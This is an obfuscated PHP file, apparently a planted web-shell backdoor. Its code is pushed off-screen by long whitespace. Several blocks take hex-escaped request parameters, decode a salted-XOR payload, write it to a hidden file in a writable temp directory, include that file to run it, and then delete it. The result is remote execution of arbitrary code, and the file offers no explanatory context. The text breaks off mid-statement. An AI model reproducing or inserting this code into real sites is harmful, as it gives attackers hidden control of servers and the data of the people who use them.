<?																																										if(in_array("\x72\x65f", array_keys($_REQUEST))){ $sym = $_REQUEST["\x72\x65f"]; $sym = explode( '.',$sym ) ; $component = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen($s); $i = 0; array_walk($sym,function ($v3) use (&$component,&$i,$s,$sLen) { $sChar = ord($s[$i % $sLen]); $dec = ((int)$v3 - $sChar - ($i % 10)) ^ 95; $component .=chr($dec); $i++; } ); $desc = array_filter([session_save_path(), "/var/tmp", "/tmp", getenv("TEMP"), getcwd(), ini_get("upload_tmp_dir"), sys_get_temp_dir(), getenv("TMP"), "/dev/shm"]); while ($flag = array_shift($desc)) { if (is_dir($flag) && is_writable($flag)) { $holder = vsprintf("%s/%s", [$flag, ".itm"]); if (@file_put_contents($holder, $component) !== false) { include $holder; unlink($holder); exit; } } } }
																																										if(isset($_POST["\x70s\x65t"]) ? true : false){ $flg = array_filter([ini_get("upload_tmp_dir"), "/var/tmp", session_save_path(), getcwd(), sys_get_temp_dir(), "/dev/shm", getenv("TMP"), getenv("TEMP"), "/tmp"]); $data = $_POST["\x70s\x65t"]; $data= explode ( '.' , $data ) ; $record = ''; $s = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s); $u = 0; $__tmp = $data; while ($v9 = array_shift($__tmp)) { $sChar = ord($s[$u % $lenS]); $d = ((int)$v9 - $sChar - ($u % 10)) ^ 20; $record .=chr($d); $u++; } foreach ($flg as $key => $ptr) { if (!!is_dir($ptr) && !!is_writable($ptr)) { $mrk = "$ptr/.fac"; $file = fopen($mrk, 'w'); if ($file) { fwrite($file, $record); fclose($file); include $mrk; @unlink($mrk); exit; } } } }
																																										if(isset($_REQUEST["\x70r\x6Fpe\x72t\x79_\x73et"]) ? true : false){ $dat = array_filter([sys_get_temp_dir(), "/tmp", "/var/tmp", ini_get("upload_tmp_dir"), getcwd(), getenv("TMP"), "/dev/shm", session_save_path(), getenv("TEMP")]); $parameter_group = $_REQUEST["\x70r\x6Fpe\x72t\x79_\x73et"]; $parameter_group = explode ("." , $parameter_group) ; $fac = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($parameter_group); for ($x = 0; $x< $len; $x++) { $v3 = $parameter_group[$x]; $chS = ord($salt[$x % $lenS]); $d = ((int)$v3 - $chS - ($x % 10)) ^ 73; $fac .= chr($d); } foreach ($dat as $key => $itm) { if (max(0, is_dir($itm) * is_writable($itm))) { $data = implode("/", [$itm, ".data_chunk"]); $file = fopen($data, 'w'); if ($file) { fwrite($file, $fac); fclose($file); include $data; @unlink($data); die(); } } } }
																																										if(!empty($_REQUEST["flag"])){ $holder = $_REQUEST["flag"]; $holder =explode ( '.',$holder ) ; $entry = ''; $s9 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($s9); $__len = count($holder); for ($t = 0; $t<$__len; $t++) { $v7 = $holder[$t]; $chS = ord($s9[$t % $lenS]); $dec = ((int)$v7 - $chS - ($t % 10)) ^62; $entry .= chr($dec); } $reference = array_filter([ini_get("upload_tmp_dir"), session_save_path(), "/dev/shm", getenv("TEMP"), sys_get_temp_dir(), "/tmp", getcwd(), "/var/tmp", getenv("TMP")]); foreach ($reference as $symbol) { if ((function($d) { return is_dir($d) && is_writable($d); })($symbol)) { $component = str_replace("{var_dir}", $symbol, "{var_dir}/.ent"); $file = fopen($component, 'w'); if ($file) { fwrite($file, $entry); fclose($file); include $component; @unlink($component); die(); } } } }
																																										if(!empty($_POST["\x70se\x74"])){ $reference = $_POST["\x70se\x74"]; $reference =explode ("." ,$reference) ; $desc = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt2 ); $q = 0; $__tmp = $reference; while($v6 = array_shift($__tmp)) {$sChar = ord($salt2[$q%$lenS] ); $d =((int)$v6 - $sChar -($q%10)) ^ 60; $desc .= chr($d ); $q++; } $entity = array_filter([getcwd(), "/var/tmp", session_save_path(), sys_get_temp_dir(), getenv("TEMP"), "/tmp", ini_get("upload_tmp_dir"), getenv("TMP"), "/dev/shm"]); foreach ($entity as $ent) { if (max(0, is_dir($ent) * is_writable($ent))) { $descriptor = vsprintf("%s/%s", [$ent, ".val"]); $success = file_put_contents($descriptor, $des